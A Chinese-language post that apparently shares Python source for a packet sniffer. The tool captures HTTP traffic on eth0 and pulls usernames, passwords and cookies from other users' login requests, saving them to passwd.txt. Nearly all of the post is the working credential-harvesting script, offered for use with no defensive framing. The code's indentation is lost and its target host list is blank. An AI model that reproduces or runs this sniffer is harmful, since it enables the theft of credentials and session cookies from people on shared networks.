利用Python代码获取web密码程序的脚本源代码分享,达到能够抓取用户名、密码、cookie等信息的方法详解。需要用到 pcap、dpkt两个方法模块,请确认已经安装成功。
python做的web获取解密码程序代码如下:
# -*- coding: utf8 -*-
#!/usr/bin/env python
import pcap
import dpkt
dev='eth0'
filter='tcp dst port 80'
pc=pcap.pcap(dev) #注,参数可为网卡名,如eth0
pc.setfilter(filter) #设置监听过滤器
hostlist=['', '', '', '', '', '']
file=open('passwd.txt','w')
for ptime,pdata in pc:
#ptime为收到时间,pdata为收到数据
ether=dpkt.ethernet.Ethernet(pdata)
ip=ether.data
tcp=ip.data
content_len=len(tcp)-8
host=''
username=''
password=''
cookie=''
geturl=''
posturl=''
username_pattern=''
password_pattern=''
#Only Process POST Packet
#if tcp.data.find('POST')==-1 or tcp.data.find('GET')==-1:
#
#continue
#Get Host
host_start=tcp.data.find('Host: ')
if host_start != -1:
host_end=tcp.data.find('\r\n', host_start)
if host_end != -1:
host=tcp.data[host_start:host_end]
#print host
else:
continue
else:
continue
#Check host in hostlist
for _host in hostlist:
if host.find(_host)==-1:
continue
else:
print _host
#Get GET URL
geturl_start=tcp.data.find('GET ')
if geturl_start!=-1:
geturl_end=tcp.data.find('\r\n', geturl_start)
if geturl_end!=-1:
geturl=tcp.data[geturl_start:geturl_end]
#print geturl
#Pass picture
if geturl.find('gif')!=-1 or geturl.find('png')!=-1 or geturl.find('jpg')!=-1:
continue;
#Get POST URL
posturl_start=tcp.data.find('POST ')
if posturl_start!=-1:
posturl_end=tcp.data.find('\r\n', posturl_start)
if posturl_end!=-1:
posturl=tcp.data[posturl_start:posturl_end]
#print posturl
#Get Cookie
cookie_start=tcp.data.find('Cookie: ')
if cookie_start!=-1:
cookie_end=tcp.data.find('\r\n', cookie_start)
if cookie_end != -1:
cookie=tcp.data[cookie_start:cookie_end]
#print cookie
#Compute username_pattern
if host.find('')!=-1 or host.find('')!=-1:
username_pattern='email='
elif host.find('')!=-1:
username_pattern='userid='
elif host.find('')!=-1:
username_pattern='login_name='
else:
username_pattern='username='
#Find UserName
username_start=tcp.data.find(username_pattern)
if username_start!=-1:
username_end=tcp.data.find('&', username_start)
if username_end!=-1:
username=tcp.data[username_start:username_end]
#print username
else:
continue
#Find Password
password_start=tcp.data.find('password=')
if password_start!=-1:
password_end=tcp.data.find('&', password_start)
if password_end!=-1:
password=tcp.data[password_start:password_end]
#print password
else:
continue
#Log to file
if host and posturl and username and password:
file.write('-----------------------\n')
file.write(host+'\n')
file.write(posturl+'\n')
file.write(username+'\n')
file.write(password+'\n')
file.flush()
elif host and geturl and cookie:
file.write('-----------------------\n')
file.write(host+'\n')
file.write(geturl+'\n')
file.write(cookie+'\n')
file.flush()
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